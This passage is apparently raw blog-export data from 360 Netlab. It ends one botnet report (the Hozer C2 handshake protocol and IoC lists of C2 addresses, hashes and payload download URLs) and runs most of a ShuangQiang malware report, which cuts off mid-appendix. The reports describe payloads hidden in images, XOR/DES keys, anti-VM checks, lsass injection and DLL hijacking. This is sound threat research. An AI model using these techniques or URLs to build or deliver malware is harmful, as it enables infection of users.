```\n step 1: calc the sum of the first 12 WORD\n \t\t(0x8f49+0x7a69+0x4818+0x0000+0x0000+0x0000\n \t\t+0x0001+0x0000+0x0000+0x0000+0x000+0x0000) = 0x000151CB;\n step 2:(HWORD(sum) + LWORD(sum)) >> 16\n \t\t(0x0001+0x51CB) >> 16 = 0;\n step 3:(HWORD(sum) + LWORD(sum)) && 0Xffff\n \t\t(0x0001+0x51cb) && 0xffff = 0x000051cc\n ```\n\n The first 32 bytes of the C2 reply packet are valid data. The packet length is 255 bytes,interpreted in little-endian way. The Bot will check the two valid flags. When the check passes, part of the data will be used for the second round of interaction.\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_roundonec.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_roundonec.png\" class=\"kg-image\"/></a>\n\n | offset | length | content | field meaning |\n | ------ | ------- | ---------- | ------------- |\n | 0x04 | 4 bytes | 0x000070f1 | valid flag1 |\n | 0x08 | 4 bytes | 0x00004819 | valid flag2 |\n\n* Second round of interaction\n\n The packet length sent by the Bot is 255 bytes, the first 32 bytes are valid data, and the data is interpreted in little-endian way. Most of the data comes from the C2 return packets from the previous step.\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_roundtwo.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_roundtwo.png\" class=\"kg-image\"/></a>\n\n | offset | length | content | field meaning |\n | ------ | ------- | --------------------- | ----------------------- |\n | 0x00 | 8 bytes | 0x7a697a69,0x000070f1 | C2 reply in the round 1 |\n | 0x08 | 4 bytes | 0x000070f2 | hardcode |\n | 0x0e | 2 bytes | 0x0002 | second round |\n | 0x14 | 4 bytes | 0x00d665 | checksum |\n\n The 32 bytes before the C2 reply packet are valid data. The packet length is 255 bytes,interpreted in little-endian way. The Bot will check two valid flags. When the check passes, the Bot's online process is completed.\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_roundtwoc.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_roundtwoc.png\" class=\"kg-image\"/></a>\n\n | offset | length | content | field meaning |\n | ------ | ------- | ---------- | ------------- |\n | 0x04 | 4 bytes | 0x00002775 | valid flag1 |\n | 0x08 | 4 bytes | 0x000070f2 | valid flag2 |\n\nAt this point, the identity verification between the Bot and C2 is completed, and the Bot starts to wait for the C2 to issue instructions. The first byte of the C2 reply packet specifies the type of instruction.\n\n* Instruction code: `0x00` indicates heartbeat\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_heart-1.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_heart-1.png\" class=\"kg-image\"/></a>\n\n* Instruction code: ``0x01`` indicates reporting Bot group information\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_group-1.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_group-1.png\" class=\"kg-image\"/></a>\n\n* Instruction code: Not `0x00` `0x01` indicates DDoS attack.\n <a href=\"__GHOST_URL__/content/images/2020/04/hozer_attack-1.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_attack-1.png\" class=\"kg-image\"/></a>\n\n## Contact us \nReaders are always welcomed to reach us on [twitter](https://twitter.com/360Netlab) or email to netlab at 360 dot cn.\n\n\n## IoC list\n\n### C2\n\n```\nvbrxmrhrjnnouvjf.onion:31337 #v3\n37.49.226.171:31337 #v2\nw6gr2jqz3eag4ksi.onion:31337 #v1\n```\n\n### MD5\n\n```\n027d7e1cda6824bc076d0a586ea139f5\n05a485caf78eca390439b7c893c0354b\n068083b9d0820f3ac9cec10d03705649\n08e1b88305ad138a4509fb6b72ae3d31\n0a56855a6d56efe409c2b7a4c6113bcf\n0dee2c063085d0c5466137a3c32479f2\n0eecbfd368f821901f9ba758e267557a\n110ec534e1c60fc47f37739f03c1bb6a\n1111c252ee54c4a6614498e66cefb4e7\n11c1be44041a8e8ba05be9df336f9231\n121960341ab64a7e7686373dedfbc058\n128a53e447266e4d0e12adb7c0b43159\n129f41468303728b029def8dbc910e35\n177de1bf8f90cbcea50fd19c1e3e8cfe\n17b5d683d7b177760c8a2ffd749650b0\n1aba422e02f0fbff5189399e01e272d4\n21e7898b4b585b825d120c3b0fed8b8a\n242d0c9386f61c3ac9ddcdbcda724f3e\n25588d12bdbb4e4b1d946f2d5c89abf3\n273afac3320ddceb0e18671a3e878fa3\n2f066945cee892cc857d477d97d42d7c\n30c60cfb51896e5d06012ec6cf15c588\n3525d090ab1ab1739507ae1777a70b95\n37d9fd56ce685717f1180615f555754e\n3d24b9cafda55909fbfde16a5222b4d8\n3f88cbbcaa3e0b410dcdb18ddb68d4c2\n4229c19e6e5c2dc8560fae9b35841957\n45a30d656b4767bce0058f80b0895a95\n4e22d0079c18043b6d9037fb842d94ee\n58a13abe621acc532b1b6d26eb121c61\n5ed891c31bc86689cb93488f5746404a\n5fafdc3e3ed7c38a204234e0146e5663\n5fec7347f2a9a2ae798505135a61c47f\n60bb6bf05c3e7f6f13f2374511963f79\n669e5f3513ebfa9c30766da294036d6e\n6c883cf42d63a672815e38223d241662\n6e7e638d27971e060aaee1b9ae43fe4a\n76d0285f95fbee81cff81948d5a98db0\n7b08a0569506174463c83f50f8d65a8f\n84d39f46c4694e176d8734dd53a07c2c\n86072e88f28ebf357443300656c0349a\n88a39f5bb8e271f3d080a9aaa6c4a44a\n8dc36df1617d9c2be576fa02a5c24803\n8e7d774441229809c9cfa8d8705b5258\n90a63857f31714ff2c285eb6ca9af3d1\n919308996155d7a9ec2f7a25a64eb759\n91fe795b69880972e30929632d359b52\n9a63001fe8f2d2d642bc2c8310a429e0\n9c95be6e1e9927cc0171fc344fcceb71\na42550641cc709168c145b5739fca769\na579d46a571e123a9d65dcfe21910c87\na76fdf5b2f817dc1f2e3c241d552b9ae\naa469ab3eb6789104bda30c910f063f5\nb0276d96976dd6b805a02141e78df927\nb35733792393a08408773a141a94f668\nb84fb91f818a2b221833cb6499e5d345\nbd28cdf60b03fc302b0ed467b3ea7e43\nc6e9c7e7b5370441b379fd0032af4a85\ncc42951a01c07dc7034251fdcd08c778\ncce2f84c925f30ba11afd817bdae9377\nd9d2c7e131e2f19985fffe9a1f38bca1\ndb6b387ba0f1ab17785de63be55e7fb6\ndeb66817f026c50d6e78ace69db6f0e6\ne8e249712b7ad0bb92ac5ebb1d0f3378\ne9ee7ea21696c9e01257c7543d344487\neb210bc6a54c1faef3cc043d767a4c3b\necf26cb853f2d22b705334cd9acdd3c2\nf4aa925fb0d0eda1bdd4b52eecd7d870\nfdd05db406a03601b9548aa7a1d07bb6\n```\n\n\n### Downloader\n\n```\nhttp://185[.172.110.224/ab/i586\nhttp://185[.172.110.224/ab/i686\nhttp://185[.172.110.224/uc/i686\nhttp://185.225.19.57/aq/rxrg\nhttp://188[.214.30.178/arm6\nhttp://188[.214.30.178/arm7\nhttp://188[.214.30.178/bot.arm\nhttp://188[.214.30.178/bot.arm7\nhttp://188[.214.30.178/bot.mips\nhttp://188[.214.30.178/bot.mpsl\nhttp://188[.214.30.178/bot.x86\nhttp://188[.214.30.178/tn/arm\nhttp://188[.214.30.178/tn/arm7\nhttp://188[.214.30.178/tn/mips\nhttp://188[.214.30.178/tn/mpsl\nhttp://190[.115.18.144/arm6\nhttp://190[.115.18.144/arm7\nhttp://190[.115.18.144/bot.arm\nhttp://190[.115.18.144/bot.arm7\nhttp://190[.115.18.144/bot.mips\nhttp://190[.115.18.144/bot.mpsl\nhttp://190[.115.18.144/bot.x86\nhttp://190[.115.18.144/tn/arm\nhttp://190[.115.18.144/tn/arm7\nhttp://190[.115.18.144/tn/mips\nhttp://190[.115.18.144/tn/mpsl\nhttp://37[.49.226.171/bins/mirai.arm\nhttp://37[.49.226.171/bins/mirai.arm7\nhttp://37[.49.226.171/bins/mirai.mpsl\nhttp://37[.49.226.171/bins/mirai.sh4\nhttp://37[.49.226.171/bins/mirai.x86\nhttp://37[.49.226.171/mirai.arm\nhttp://37[.49.226.171/mirai.arm7\nhttp://37[.49.226.171/mirai.mpsl\nhttp://37[.49.226.171/mirai.sh4\nhttp://37[.49.226.171/mirai.x86\nhttp://64[.225.64.58/arm\nhttp://64[.225.64.58/arm5\nhttp://64[.225.64.58/arm6\nhttp://64[.225.64.58/arm7\nhttp://64[.225.64.58/bot.arm\nhttp://64[.225.64.58/bot.arm7\nhttp://64[.225.64.58/bot.mips\nhttp://64[.225.64.58/bot.mpsl\nhttp://64[.225.64.58/bot.x86\nhttp://64[.225.64.58/i586\nhttp://64[.225.64.58/i686\nhttp://64[.225.64.58/m68k\nhttp://64[.225.64.58/mips\nhttp://64[.225.64.58/mpsl\nhttp://64[.225.64.58/sh4\nhttp://64[.225.64.58/spc\nhttp://64[.225.64.58/x86\n```\n\n### IP\n```\n185.172.110.224 Netherlands ASN206898 Server_Hosting_Pty_Ltd\n185.225.19.57 Romania ASN39798 MivoCloud_SRL\n37.49.226.171 Netherlands ASN208666 Estro_Web_Services_Private_Limited\n64.225.64.58 Netherlands ASN14061 DigitalOcean,_LLC\n188.214.30.178 Romania ASN51177 THC_Projects_SRL\n190.115.18.144 Russian ASN262254 DANCOM_LTD\n```\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5ea6545b7646030007b2779b |
post | null | 2020-05-07T02:55:14.000Z | 63873b9a8b1c1e0007f52f71 | shuangqiang | 0 | 2020-05-26T03:53:38.000Z | public | published | null | 2020-05-23T00:09:12.000Z | New activity of DoubleGuns Group, control hundreds of thousands of bots via public cloud service | <!--kg-card-begin: markdown--><h2 id="overview">Overview</h2>
<p>Recently, our DNS data based threat monitoning system DNSmon flagged a suspicious domain <strong>pro.csocools.com</strong>. The system estimates the scale of infection may well above hundreds of thousands of users. By analyzing the related samples and C2s,<br>
We traced its family back to the <strong>ShuangQiang</strong>(double gun) campaign, in the past, this campaign has been exposed by multiple security vendors, but it has rvivied and come back with new methods and great force.</p>
<p>This time around, Shuangqiang continues to use Baidu Tieba pictures to distribute configuration files and malwares. In addition, it starts to use Alibaba Cloud storage to host configuration files, and Baidu statistics, a commonly used public network service, has been added to manage the activity of its’ infected hosts. We also see the URL addresses of Tencent Weiyun in the samples.</p>
<p>For the first time, the shuangqiang campaign integrated the services of the three major player BAT into its own programs, it is interesting, and a worry trend from security’s perspective. We have to claim here, that the abuse of these neutral services is completely the malware campaign action, and all the related services vendors had already said no in the user terms and took actions against the abuse.</p>
<p>Since May 14, we reached Baidu security team and took a joint action to measure the campaign's infection, and stopped the spreading by blocking all the related downloading before this blog go public. We had a statement from Baidu security team at the end of this blog.</p>
<h2 id="ioccorrelationanalysis">IOC correlation analysis</h2>
<p>Starting with the above domain name, we pivoted into our DNSmon graphic system and discovered more new threat nodes, especially, a set of key C2 IPs emerge. As can be seen from the partial IOC correlation diagram, almost all domain names are related to the two key IP addresses <strong>125.124.255.20</strong> and <strong>125.124.255.79</strong>.<br>
With these two IPs, Shuagnqiang campaign pointed a bunch of C2 DNS names to control and deliver malicious programs from late 2019. And the block 125.124.255.0/24 appears to be under the campaign control as well.</p>
<div align="center"><img width="600" src="__GHOST_URL__/content/images/2020/04/IOC_simple.png"/></div>
<p>When we traced how the users are infected, we found out this time around, the campaign lures users who play underground games to install game launching software that contain malicious codes. More specifically, there are two methods to infect clients, as we breakdown below</p>
<div align="center"><img width="1000" src="__GHOST_URL__/content/images/2020/05/pljx_infect_flow_en.png"/></div>
<h2 id="infectionmethod1thegamelauncherwithmaliciouscode">Infection method 1-The game launcher with malicious code</h2>
<h3 id="phase1downloadandloadthecsdllmaliciousfile">Phase 1 — Download and load the cs.dll malicious file</h3>
<p>The following is a very typical underground game server portal with links to play games.</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/clinet_web_page.png"/></div>
<p>Clicking the download link will jump to a correponding private server homepage where users are supposed to be able to download game launching patch.</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/client_home_page.png"/></div>
<p>The downloaded launching “patch”</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/clinet_zip_file.png"/></div>
<p>When user installs and launches the "patch", the malicious code accesses the configuration information server, and then downloads and dynamically loads the latest version of the malicious program named cs.dll from Baidu Tieba. The key string in cs.dll uses a deformed DES encryption method, which is highly similar to the double-gun sample we captured before.</p>
<ul>
<li>
<p>File structure</p>
<p>"Beaulieu rank .exe" PE Resource contains 7 files, Widget.dll is a client component, cs.dll is the resource file. The 4 GameProtect_xx.sys files are the patches for the game itself, and they also have code in them to insert ads and to hijack users traffic.</p>
<div align="center"><img width="500" src="__GHOST_URL__/content/images/2020/04/pljx_pe_res-1.png"/></div>
</li>
<li>
<p>Download configuration information</p>
<p>This is where the encrypted configuration file is accessed <a href="http://mtdlq.oss-cn-beijing.aliyuncs.com/cscsmt.txt">http://mtdlq.oss-cn-beijing.aliyuncs.com/cscsmt.txt</a></p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/get_mtdlq_cfg_code.png"/></div>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/mtdlq_cfg.png"/></div>
<p>The above page contains 8 lines of hexadecimal strings, looping the key <strong><code>B2 09 BB 55 93 6D 44 47</code></strong> to decrypt the exclusive-OR.</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/xor_decrypt_code.png"/></div>
<p>After decryption 8 Baidu tieba addresses show up.</p>
</li>
<li>
<p>Download image file to cut and reassemble cs.dll file</p>
<p>If you access the picture URLs, it looks like some randomly generated noises.</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/mtdlq_cfg_tieba_jpg.png"/></div>
<p>Malicious programs download image files, each image to use <strong>><>>><</strong> as a marker to separate image data and malicious code data.</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/mtdlq_cfg_tiebao_jpg_cut_pe.png"/></div>
<p>Putting all the malicious code together, we got the stage 2 malicious program cs.dll.</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abcd_exp_EP.png"/></div>
<p>The malicious program loads the above cs.dll through memory mapping, and then calls the export function abcd () to enter phase 2, so no file is created on the infected devices.</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/mtdl_load_cs_abcd.png"/></div>
</li>
</ul>
<h3 id="phase2reporthostinformationreleaseandloadmaliciousdriver">Phase 2 — Report host information, release and load malicious driver</h3>
<p>cs.dll will perform some simple virtual machine and anti-software countermeasures, and use the Baidu statistics service to report Bot information, then release the third-stage VMP packed driver (including both x86 and x64 versions).</p>
<ul>
<li>
<p>DES decryption algorithm</p>
<p>The DES decryption algorithm in the sample is customized and implemented by the malware author, and the encryption mode is CBC with no padding. The conversion table of the DES encryption algorithm is the same as that of the old version <strong>(<a href="__GHOST_URL__/shuang-qiang-mu-ma-ji-chu-she-shi-geng-xin-ji-xiang-ying-chuan-bo-fang-shi-fen-xi/">see our old blog here</a>)</strong>. The DES decryption involves two layers, the first layer of decryption uses the first string in Base64 decoding algorithm dBvvIEmQW2s = to obtain a binary data, and then use empty key <strong><code>\x00\x00\x00\x00\x00\x00\x00\x00</code></strong> to decrypt it to obtain the <strong>helloya\x00</strong> string, this string is a key to decrypt other large amounts of ciphertext data with the self-developed DES algorithm. The complete decryption process is as follows:</p>
<div align="center"><img width="800" src="__GHOST_URL__/content/images/2020/04/mal_des-1.png"/></div>
</li>
<li>
<p>Check the virtual host environment VM and WM</p>
<p>Determine whether it is a VMWare host by checking the entry table, and if it is a VM host code, exit.</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_checkVM.png"/></div>
<p>Check whether the system service <strong>WayOSFw</strong> exists, and exits directly if the service exists.</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_checkWM.png"/></div>
</li>
<li>
<p>Create Bot ID</p>
<p>Use the system API to create the Bot ID of the host and write it to the registry <strong>"SOFTWARE\PCID"</strong>,</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_create_bot_id.png"/></div>
</li>
<li>
<p>Manage Bot with Baidu Statistics Service</p>
<p>The developers of the malware borrowed some standard fields of the Baidu statistics interface to report sensitive information about the host. Because Baidu statistical service is used by a large number of websites, it is difficult to distinguish it, which makes it more difficult for security vendors to see and take action.</p>
<p>The bot first uses a function called <strong>DataWork ()</strong> to forge a browser request and download the <strong>hm.js</strong> script.</p>
<div align="center"><img width="800" src="__GHOST_URL__/content/images/2020/04/cs_abc_baidu_cookie_GET_headers.png"/></div>
<div align="center"><img width="800" src="__GHOST_URL__/content/images/2020/04/cs_abc_datawork_dl_hm_js.png"/></div>
<p>Save the user cookie information <strong>HMACCOUNT</strong> in the returned information to the registry.</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_baidu_cookie_path.png"/></div>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_baidu_cookie_hm.png"/></div>
<p>The <strong><a href="http://hm.baidu.com/hm.gif">http://hm.baidu.com/hm.gif</a>?</strong> Interface give the bot author the ability to upload statistics scripts <strong>this.b.v</strong>, user Cookie, bot_id and other statistical information so the author can easily manage and assess the infected users.</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_baidu_hm_gif_url.png"/></div>
</li>
<li>
<p>Decrypt, create, and install drivers from <strong>Dat</strong> resources</p>
<p>Check whether the installation XxGamesFilterand other underground game patches have been installed.</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_checkGameProtectDriver.png"/></div>
<p>Choose different resource IDs according to the installation situation and operating system version, each resource corresponds to a different version of the driver (32-bit systems use ID 111 or 109 resources, 64-bit systems use ID 110 or 112 resources).</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_load_Dat_res.png"/></div>
<p>The resource is encrypted. Taking the decrypted 32-bit driver as an example, the data order is reversed first, and then the XOR is performed byte by byte with the system version value of 32 to obtain a VMP packed driver file.</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_decrypt_Dat_GameGu_32.png"/></div>
<p>Detect the presence of <strong>TeSafethe</strong> drive, if there is, the infection process stops. And calculate <strong>"TeSafe+{Computer Name}"</strong> the MD5 value to check whether the driver exists, if it is, that means the system has already been infected, the infection will stop.</p>
<pre><code>// string
+00 54 65 53 61 66 65 2B 57 49 4E 2D 52 48 39 34 50 TeSafe+WIN-RH94P
+10 42 46 43 37 34 41 00 00 00 00 00 00 00 00 00 00 BFC74A..........
// MD5 value
+00 46 34 36 45 41 30 37 45 37 39 30 33 33 36 32 30 F46EA07E79033620
+10 43 45 31 33 44 33 35 44 45 31 39 41 41 43 34 32 CE13D35DE19AAC42
</code></pre>
<p>If the <code>EnableCertPaddingCheck</code> in the registry key is closed, the last 16 bytes of of the file will be replaced by some random data. By doing this, the HASH value of the sample on each infected host is completely different, which renders the HASH based anti-virus system blind.</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_checkEnableCertPaddingCheck.png"/></div>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_padding_rand_data_code.png"/></div>
<p>Release the driver to the TEMP directory, and the file name is a random string with a length of 7.</p>
<p>E.g:<strong>"C:\Users{User Name}\AppData\Local\Temp\iiitubl"</strong></p>
<p>Register the driver file to start the service and check whether the installation is successful.</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_check_drv_install.png"/></div>
</li>
</ul>
<h3 id="phase3hijacksystemprocessesanddownloadsubsequentmaliciousprograms">Phase 3 — Hijack system processes and download subsequent malicious programs</h3>
<p>The drive will copies itself to Windows/system32/driver/{7 random letters}.sys to disguise itself as a legitimate drive, such as fltMgr.sys, and inject DLL module to the system processes Lassas.exeand svchost.exe. After the entire initialization process is completed, a driver and DLL module work together to complete the work mode through DeviceIoControl () , which is a driver-level downloader. All sensitive configuration information is stored inside the driver. The DLL obtains the configuration server related information by calling the driver. According to the downloaded configuration information, it goes to Baidu Tieba to download other malicious code to carry out the next stage of malicious activities.</p>
<ul>
<li>
<p>After the driver runs, use the APC injection method to inject the DLL module into the system process Lassas.exe.</p>
<div align="center"><img width="600" src="__GHOST_URL__/content/images/2020/04/dl_drv_inject_lsass.png"/></div>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/dl_drv_inject_apc.png"/></div>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/lassas_inected_dll_mem_layoout.png"/></div>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/lassas_inected_dll_mem_PE_header.png"/></div>
</li>
<li>
<p>The DLL cooperates with the execution process of the driver.</p>
<p>The DLL first attempts to create mutually exclusive objects <strong>{12F7BB4C-9886-4EC2-B831-FE762D4745DC}</strong> to prevent the system from creating multiple instances.</p>
<div align="center"><img width="800" src="__GHOST_URL__/content/images/2020/04/dl_drv_create_mutex.png"/></div>
<p>Then it will check the existence of Lsass.exe or svchost.exe to ensure that it is not running in an analysis environment such as sandbox.</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/dl_drv_check_host_process.png"/></div>
<p>Try to create a device <strong>"\.\F46EA07E79033620CE13D35DE19AAC42"</strong> handle, establish communication and drive modules.</p>
<div align="center"><img width="800" src="__GHOST_URL__/content/images/2020/04/dl_drv_open_tesafe.png"/></div>
<p>Send <strong>0x222084</strong> device control code to the driver to obtain the configuration information of the connection server. The communication with the configuration server uses the double encryption method of HTTPS + DES. The configuration information contains three important parts:</p>
<div align="center"><img width="800" src="__GHOST_URL__/content/images/2020/04/dl_drv_deviceio_get_init_cfg.png"/></div>
<ol>
<li><strong><a href="https://cs.wconf5.com:12709/report.ashx">https://cs.wconf5.com:12709/report.ashx</a></strong> is used for DLL to report basic host information such as bot id and installation time.</li>
</ol>
<div align="center"><img width="600" src="__GHOST_URL__/content/images/2020/04/dl_drv_collect_host_info_all.png"/></div>
<p>Whether 360 antivirus is installed and whether it is a virtual machine environment.</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/dl_drv_collect_host_info_vm_av.png"/></div>
<p>Whether it is a diskless workstation.</p>
<p>The host information reported is encrypted using DES, and the key is HQDCKEY1.</p>
<ol start="2">
<li>Access <strong><a href="https://cs.wconf5.com:12710/123.html">https://cs.wconf5.com:12710/123.html</a></strong> to download configuration information:</li>
</ol>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/dl_drv_get_cfg_123.png"/></div>
<p>The configuration information is still deformed DES encryption, and the decryption key is <strong>HQDCKEY1</strong>. After decryption, you can see that the configuration information uses a custom format. Two Baidu pictures form a group, and the valid data is intercepted and stitched into a valid file:</p>
<div align="center"><img width="800" src="__GHOST_URL__/content/images/2020/04/dl_drv_cfg_123_decrypted.png"/></div>
<ol start="3">
<li>Configuration information <a href="https://share.weiyun.com/5dSpU6a">https://share.weiyun.com/5dSpU6a</a>, we have yet to find out what is this for:</li>
</ol>
<div align="center"><img width="600" src="__GHOST_URL__/content/images/2020/04/dl_drv_query_weiyun.png"/></div>
<p>All configuration information returned by the driver samples contains a Tencent Weiyun address. Direct access to this address will reveal a string of several characters and numbers.</p>
<p>It seems that the data on the weiyun page and the configuration server share some patterns. Take the above picture as an example, accessing Tencent Weiyun will obtain a string <strong>cs127</strong>. The subdomain of the profile server in the same set of data is <strong>cs.xxxx.com</strong> and the port is <strong>127xx</strong>. This looks like a strategy for dynamically generating configuration file server addresses. We speculate that it may be a function in the development stage, so the sample code does not contain the corresponding code yet.</p>
<p>After completing the above initialization process, the driver runs in full spead. According to the parsed configuration file, the dll and the driver module can archive complex functions, some of which are listed below.</p>
</li>
<li>
<p>Update driver files</p>
<p>The program will use another set of algorithms to get the DES decryption key <strong>HelloKey</strong>, and finally use the DES algorithm to get the final data:</p>
<div align="center"><img width="800" src="__GHOST_URL__/content/images/2020/04/dl_drv_decrypt_hellokey.png"/></div>
<p>Hijack the ip address.</p>
<div align="center"><img width="600" src="__GHOST_URL__/content/images/2020/04/dl_drv_hijack_process_ip.png"/></div>
<p>Add a certificate to the system</p>
<div align="center"><img width="600" src="__GHOST_URL__/content/images/2020/04/dl_drv_add_root_cert.png"/></div>
<p>Download files to the TEMP directory and create process.</p>
<div align="center"><img width="800" src="__GHOST_URL__/content/images/2020/04/dl_drv_tmp_create_process.png"/></div>
<p>Tampering with DNS configuration</p>
<div align="center"><img width="900" src="__GHOST_URL__/content/images/2020/04/dl_drv_setDns.png"/></div>
<p>PAC proxy hijacking</p>
<div align="center"><img width="600" src="__GHOST_URL__/content/images/2020/04/dl_drv_hijack_pac.png"/></div>
</li>
</ul>
<hr>
<h2 id="infectionmethod2dllhijacking">Infection method 2 — DLL hijacking</h2>
<p>Infection method 2 still uses the underground game launcher, but there are big differences with the prior method</p>
<div align="center"><img width="80%" src="__GHOST_URL__/content/images/2020/04/client2_home_page.png"/></div>
<p>The downloaded patch software</p>
<div align="center"><img width="80%" src="__GHOST_URL__/content/images/2020/04/clinet2_zip_file.png"/></div>
<p>A popular component <strong>photobase.dll</strong>, of multiple underground game client software will be replaced with a malicious DLL files which uses the same name. The PE of the malicious DLL file contains three key files:</p>
<img src="__GHOST_URL__/content/images/2020/04/photobase_dll_pe_rsrc.png" style="zoom:80%;" />
<p>The new <strong>photobase.dll</strong> has two key actions:</p>
<ol>
<li>
<p>Release the malicious code, registere and start the system service;</p>
</li>
<li>
<p>Load the real photobase.dll file and forward the exported function to the real photobase.dll.</p>
</li>
</ol>
<p>The subsequent infection process is the same as above. This is a standard DLL hijacking loading method.</p>
<h3 id="phase1releaseandloadthemaliciousdriver">Phase 1 — Release and load the malicious driver</h3>
<p>Photobase.dll malicious file will first generate a random file name for the upcoming release of malicious drive file, the file name is made up of 10 random characters, file suffix <strong>.dat</strong>, and put their PE Resource driver files into the appropriate <strong>"%windir%\Temp"</strong> directory.</p>
<p>Then register the system service for the landing malicious driver file and start the service:</p>
<img src="__GHOST_URL__/content/images/2020/04/photobase_dll_load_driver.png" style="zoom:70%;" />
<p>The next activity of the malicious driver is the same as the first infection method, which is to download, decrypt and finally load other malicious files.</p>
<h3 id="phase2loadtherealphotobasedll">Phase 2 — Load the real photobase.dll</h3>
<p>The first 2 bytes of the real photobase.dll file in the malicious photobase.dll PE Resource are emptied:</p>
<img src="__GHOST_URL__/content/images/2020/04/photobase_dll_PE_rsrc_real_dll.png" style="zoom:80%;" />
<p>When malicious photobase.dll extracts this file from PE Resource, the first 2 bytes will be filled with <strong>MZ</strong> (PE file header):</p>
<img src="__GHOST_URL__/content/images/2020/04/photobase_dll_fix_PE_file_header.png" style="zoom:60%;" />
<p>Then, the malicious photobase.dll file will load the dynamic link library for the real photobase.dll file which is just loaded, and import related functions, then forward the export function in the real photobase.dll. The export function of partial forwarding is as follows:</p>
<img src="__GHOST_URL__/content/images/2020/04/part_of_forwarded_funcs.png" style="zoom:80%;" />
<p>Take the above <strong>Sqm::AddToStream()</strong> as an example, the forwarding function of the malicious photobase.dll is as follows:</p>
<img src="__GHOST_URL__/content/images/2020/04/forwarded_func.png" style="zoom:70%;" />
<h2 id="baidusecurityteamstatement">Baidu Security Team Statement</h2>
<p>Based on the massive threat intelligence, Baidu security anti-underground-economy platform had taken cooperate actions to calculate the botnet's infection, provide risk warnings to infected users, and eventually blocked all the malware download.</p>
<p>During this joint action, we had a better understanding on double gun gang's technical means, logic, and rules, by sharing, analysising, and reponse to the related threat intellignece.</p>
<h2 id="appendix">Appendix</h2>
<h3 id="customconversiontableindesencryptionanddecryptionalgorithm">Custom conversion table in DES encryption and decryption algorithm:</h3>
<p>The following conversion table is different from most public implementations of DES encryption and decryption. The left shift number table and SBox table are the same as the common DES algorithm implementation.</p>
<pre><code># Permutation and translation tables for DES
__pc1 = [
56, 48, 40, 32, 24, 16, 8,
0, 57, 49, 41, 33, 25, 17,
9, 1, 58, 50, 42, 34, 26,
18, 10, 2, 59, 51, 43, 35,
62, 54, 46, 38, 30, 22, 14,
6, 61, 53, 45, 37, 29, 21,
13, 5, 60, 52, 44, 36, 28,
20, 12, 4, 27, 19, 11, 3
]
# permuted choice key (table 2)
__pc2 = [
13, 16, 10, 23, 0, 4,
2, 27, 14, 5, 20, 9,
22, 18, 11, 3, 25, 7,
15, 6, 26, 19, 12, 1,
40, 51, 30, 36, 46, 54,
29, 39, 50, 44, 32, 46,
43, 48, 38, 55, 33, 52,
45, 41, 49, 35, 28, 31
]
# initial permutation IP
__ip = [
57, 49, 41, 33, 25, 17, 9, 1,
59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5,
63, 55, 47, 39, 31, 23, 15, 7,
56, 48, 40, 32, 24, 16, 8, 0,
58, 50, 42, 34, 26, 18, 10, 2,
60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6
]
# Expansion table for turning 32 bit blocks into 48 bits
__expansion_table = [
31, 0, 1, 2, 3, 4,
3, 4, 5, 6, 7, 8,
7, 8, 9, 10, 11, 12,
11, 12, 13, 14, 15, 16,
15, 16, 17, 18, 19, 20,
19, 20, 21, 22, 23, 24,
23, 24, 25, 26, 27, 28,
27, 28, 29, 30, 31, 0
]
# 32-bit permutation function P used on the output of the S-boxes
__p = [
15, 6, 19, 20, 28, 11,
27, 16, 0, 14, 22, 25,
4, 17, 30, 9, 1, 7,
23, 13, 31, 26, 2, 8,
18, 12, 29, 5, 21, 10,
3, 24
]
# final permutation IP^-1
__fp = [
39, 7, 47, 15, 55, 23, 63, 31,
38, 6, 46, 14, 54, 22, 62, 30,
37, 5, 45, 13, 53, 21, 61, 29,
36, 4, 44, 12, 52, 20, 60, 28,
35, 3, 43, 11, 51, 19, 59, 27,
